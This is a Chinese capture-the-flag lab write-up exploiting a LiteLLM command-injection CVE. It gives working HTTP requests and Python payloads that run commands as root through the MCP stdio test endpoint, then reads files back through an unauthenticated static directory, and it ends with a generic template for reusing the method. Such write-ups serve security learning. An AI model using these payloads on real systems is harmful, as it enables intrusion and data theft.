春秋云镜 CVE-2026-42271 LiteLLM
目标:春秋云镜 LiteLLM 1.83.6 日期:2026-08-23 | 结果:已拿 flag 版本确认:
/health/readiness返回"litellm_version":"1.83.6"(影响区间 1.74.2–1.83.6 内) master key:已从环境获得
一、总体思路
- 确认目标为 LiteLLM 1.83.6(fastapi/uvicorn 服务)。
- 用 master key 访问 MCP stdio 测试端点,通过
command白名单里的python3触发命令注入。 - 证实命令以 root 执行(时间侧信道)。
- 因容器不出网(HTTP/DNS 带外均失败),改用写 web 静态目录 → 免认证 GET 回显读 flag。
二、确认版本与 master key
2.1 版本
GET /health/readiness
→ {"status":"healthy","db":"Not connected","litellm_version":"1.83.6",...}
- 目标为无数据库(no-DB)部署,
db: "Not connected"。 - 1.83.6 在 CVE-2026-42271 影响区间 [1.74.2, 1.83.6]。
2.2 master key 校验
- no-DB 部署下,
user_api_key_auth校验 master key envLITELLM_MASTER_KEY。 - 用
Authorization: Bearer <master-key>访问受保护管理端点时,返回不再是 “Authentication Error / No connected db / Only PROXY_ADMIN”,而是进入端点真实逻辑 → key 有效。 - 关键判定:请求返回
Failed to connect to MCP server(而不是鉴权类错误)= 角色已通过、进入业务逻辑。
三、RCE 触发 exp
两个入口等效:POST /mcp-rest/test/connection 与 POST /mcp-rest/test/tools/list。
3.1 白名单
stdio 的 command 必须是:
['deno', 'docker', 'node', 'npx', 'python', 'python3', 'uvx']
bash/id 等不在白名单 → 返回 422 Value error, Command '...' is not in the allowed commands list。
3.2 触发命令注入(python3 过白名单)
POST /mcp-rest/test/connection HTTP/1.1
Host: <target-ip>:<port>
Authorization: Bearer <master-key>
Content-Type: application/json
{
"transport": "stdio",
"command": "python3",
"args": [
"-c",
"import os; os.popen('id > /tmp/pwned && whoami >> /tmp/pwned && cat /etc/hostname >> /tmp/pwned')"
]
}
- 该请求返回
{"status":"error","error":true,"message":"Failed to connect to MCP server..."}。 - 该返回不代表命令没执行(LiteLLM 用 mcp SDK 做 JSON-RPC 握手,子进程不按协议应答即握手失败,
命令 stdout 被丢弃 → 盲执行;但
os.popen(...)在 -c 首行已执行)。
3.3 时间侧信道证实 RCE(关键判定)
{"transport":"stdio","command":"python3","args":["-c","import sys;sys.exit(0)"]}
→ 端点响应约 0.3s
{"transport":"stdio","command":"python3","args":["-c","import time;time.sleep(12)"]}
→ 端点响应约 12.3s
time.sleep(12) 真的以 root 跑完 → RCE 成立。实测 host 信息:hostname=engine-2, uid=0(root), Linux 5.10。
四、回显方案排查(逐一出网路径验证)
| 方案 | 做法 | 结果 |
|---|---|---|
| HTTP 带外 | 命令回连 VPS | 无命中 → 容器不出网 |
| DNS 带外 | 命令解析 *.c12b6d7ecb.ddns.eu.org | 后台无记录 → 不可用 |
| MCP 回显 | 自建 MCP server 走 tools/list | 握手始终失败,未回显 |
→ 余下最可靠:写 web 静态目录 → 免认证 GET。
五、破局:写 web 静态目录回显(最终拿 flag)
5.1 定位静态挂载真实物理目录(盲 RCE 下不能靠 print)
前提:MCP 盲 RCE 下
print(...)的 stdout 会被握手吞掉,没有回显。 所以”拿结果”必须走 写文件 → HTTP GET 读回 闭环,而不是 print。
定位思路:/swagger/swagger-ui.css 能被 GET(首页引用了它,返回 200),说明它一定位于被 StaticFiles(directory=...) 挂载到 /swagger/ 的那个物理目录里。用 RCE 全盘 find 这个文件名,就能反推出物理目录。
有效做法(一次 RCE,结果写入 swagger 物理目录,再由 GET 读回):
python3 -c '
import os,subprocess
r=subprocess.run(["find","/","-xdev","-name","swagger-ui.css","-type","f","-maxdepth","8"],
capture_output=True,text=True)
sw = os.path.dirname(r.stdout.splitlines()[0]) if r.stdout else "NONE"
try: flag=open("/flag").read()
except: flag=""
# 把 find 结果 + flag 写进 swagger 物理目录,稍后用 GET 读回
for d in [sw, "/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger", "/app"]:
try:
os.makedirs(d, exist_ok=True)
open(os.path.join(d,"PWN.txt"),"w").write("SW="+sw+"\nFLAG="+flag+"\n")
except: pass
'
读回(有回显,确定目录的真正依据):
GET /swagger/PWN.txt
→ SW=/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger
FLAG=...
结果:swagger 静态挂载物理目录 = /usr/local/lib/python3.11/site-packages/litellm/proxy/swagger
- 该目录被 LiteLLM 以
StaticFiles(directory=...)挂到/swagger/。 - 这里
SW=字段(来自 GET 响应)才是”确定目录”的证据;print那条命令单独发是无回显、无用的。
5.2 把 flag 写入该目录(单独一步,写法固定)
POST /mcp-rest/test/connection HTTP/1.1
Host: <target-ip>:<port>
Authorization: Bearer <master-key>
Content-Type: application/json
{
"transport": "stdio",
"command": "python3",
"args": [
"-c",
"import os; SW='/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger'; body=''
for p in ['/flag','/flag.txt','/fFlag','/tmp/flag','/opt/flag','/root/flag','/app/flag','/.flag']:
try: body+='FILE '+p+'='+open(p).read()+'\\n'
except: pass
os.makedirs(SW,exist_ok=True)
open(SW+'/PWN_flag.txt','w').write(body)"
]
}
5.3 免认证 GET 读回
GET http://<target-ip>:<port>/swagger/PWN_flag.txt
→ flag{823e476e-36c7-4a72-8de3-83f1b96f6cb4}
静态资源(
/swagger/、/ui/等挂载点)走StaticFiles,无需 API key、无需 BadHost 绕过,浏览器直接 GET 即可。 这也是为什么”写 web 静态目录”能作为盲 RCE 的唯一回显通道。
六、结果与关键信息
- flag:
flag{823e476e-36c7-4a72-8de3-83f1b96f6cb4} - 主机:
hostname=engine-2,uid=0(root),OS Linux 5.10(5.10.134-18.0.12.lifsea8.x86_64) - 进程 cwd:
/app - 可写且 web 可读目录:
site-packages/litellm/proxy/swagger(挂载/swagger/)
七、通用模板
对 FastAPI/Starlette 类服务:
- RCE 定位某个
StaticFiles(directory=...)静态挂载的物理目录(如 find swagger-ui.css/index.html)。 - 命令把数据写入该目录(运行用户 root 可覆盖 site-packages)。
- 用对应 URL 前缀(如
/swagger/<file>)免认证 GET 读回。
该法绕过了 HTTP/DNS 双出网限制下”拿不到盲打输出”的问题,是此类盲 RCE 的通用破局手段。